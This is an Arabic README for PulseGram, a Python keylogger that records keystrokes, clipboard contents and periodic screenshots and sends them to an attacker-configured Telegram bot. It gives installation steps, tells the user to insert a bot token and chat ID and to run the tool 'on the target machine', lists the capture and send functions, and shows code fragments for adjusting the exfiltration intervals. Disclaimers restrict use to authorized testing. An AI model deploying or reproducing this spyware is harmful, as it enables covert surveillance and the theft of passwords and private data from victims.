
مسجل ضغطات مفاتيح يعتمد على بايثون مع تكامل بوت تليغرام لالتقاط ضغطات المفاتيح ومحتوى الحافظة ولقطات الشاشة في بيئات اختبار الأمان المصرح بها.
PulseGram هو مسجل ضغطات مفاتيح مدمج مع بوت تيليجرام. إنها أداة مراقبة تلتقط ضغطات المفاتيح، محتوى الحافظة، ولقطات الشاشة، وترسل جميع المعلومات إلى بوت تيليجرام مكوّن. صُممت لاستخدامها في محاكاة الخصوم واختبارات الأمان.
⚠️ تحذير: هذا المشروع للأغراض التعليمية واختبار الأمان في بيئات مصرح بها فقط. الاستخدام غير المصرح به لهذه الأداة قد يكون غير قانوني ومحظور.
_____ _ _____
| __ \ | | / ____|
| |__) | _| |___ ___| | __ _ __ __ _ _ __ ___
| ___/ | | | / __|/ _ \ | |_ | '__/ _` | '_ ` _ \
| | | |_| | \__ \ __/ |__| | | | (_| | | | | | |
|_| \__,_|_|___/\___|\_____|_| \__,_|_| |_| |_|
المؤلف: عمر سالازار
الإصدار: V.1.0
errors_log.txt لتسهيل التصحيح.
استنساخ المستودع:
git clone https://github.com/TaurusOmar/pulsegram
cd pulsegram
تثبيت التبعيات: تأكد من تثبيت Python 3 و pip. ثم شغّل:
pip install -r requirements.txt
إعداد رمز البوت الخاص بـ Telegram:
أنشئ بوتًا على Telegram باستخدام BotFather.
انسخ رمزك والصقه في الكود في ملف main.py حيث تتم تهيئة البوت.
انسخ ChatID الخاص بك chat_id="131933xxxx" في ملف keylogger.py
شغّل الأداة على الجهاز المستهدف باستخدام:
python pulsegram.py
هذا هو الملف الرئيسي للأداة، والذي يقوم بتهيئة البوت وتشغيل المهام غير المتزامنة لالتقاط البيانات وإرسالها.
Bot(token="..."): تهيئة بوت تيليجرام برمزك الشخصي.
asyncio.gather(...): تشغيل مهام متعددة لتنفيذ مراقبة الحافظة، التقاط لقطات الشاشة، وتسجيل ضغطات المفاتيح.
log_error: في حالة حدوث أخطاء، يسجلها في ملف errors_log.txt.
تحتوي هذه الوحدة على دوال مساعدة تدعم التشغيل العام للأداة.
log_error(): يسجل أي أخطاء في errors_log.txt بتنسيق التاريخ والوقت.
get_clipboard_content(): يلتقط المحتوى الحالي للحافظة.
capture_screenshot(): يلتقط لقطة شاشة ويحفظها مؤقتًا لإرسالها إلى بوت تيليجرام.
تتعامل هذه الوحدة مع تسجيل ضغطات المفاتيح، مراقبة الحافظة، والتقاط لقطات الشاشة.
capture_keystrokes(bot): دالة غير متزامنة تلتقط ضغطات المفاتيح وترسل المعلومات إلى بوت تيليجرام.
send_keystrokes_to_telegram(bot): ترسل هذه الدالة ضغطات المفاتيح المتراكمة إلى البوت.
capture_screenshots(bot): تلتقط بشكل دوري صورة للشاشة وترسلها إلى البوت.
log_clipboard(bot): ترسل محتويات الحافظة إلى البوت.
قم بتغيير الفاصل الزمني للالتقاط وإرسال المعلومات.
async def send_keystrokes_to_telegram(bot):
global keystroke_buffer
while True:
await asyncio.sleep(1) # غير الفاصل الزمني لإرسال المفاتيح
async def capture_screenshots(bot):
while True:
await asyncio.sleep(30) # غير الفاصل الزمني لالتقاط لقطات الشاشة
try:
async def log_clipboard(bot):
previous_content = ""
while True:
await asyncio.sleep(5) # غير الفاصل الزمني للتحقق من تغييرات الحافظة
current_content = get_clipboard_content()
هذا المشروع للأغراض التعليمية فقط ولاختبار الأمان في بيئاتك الخاصة أو بتفويض صريح. الاستخدام غير المصرح به لهذه الأداة قد ينتهك القوانين المحلية وسياسات الخصوصية.
المساهمات مرحب بها. يرجى التأكد من احترام مدونة السلوك عند التعاون.
هذا المشروع مرخص بموجب رخصة MIT.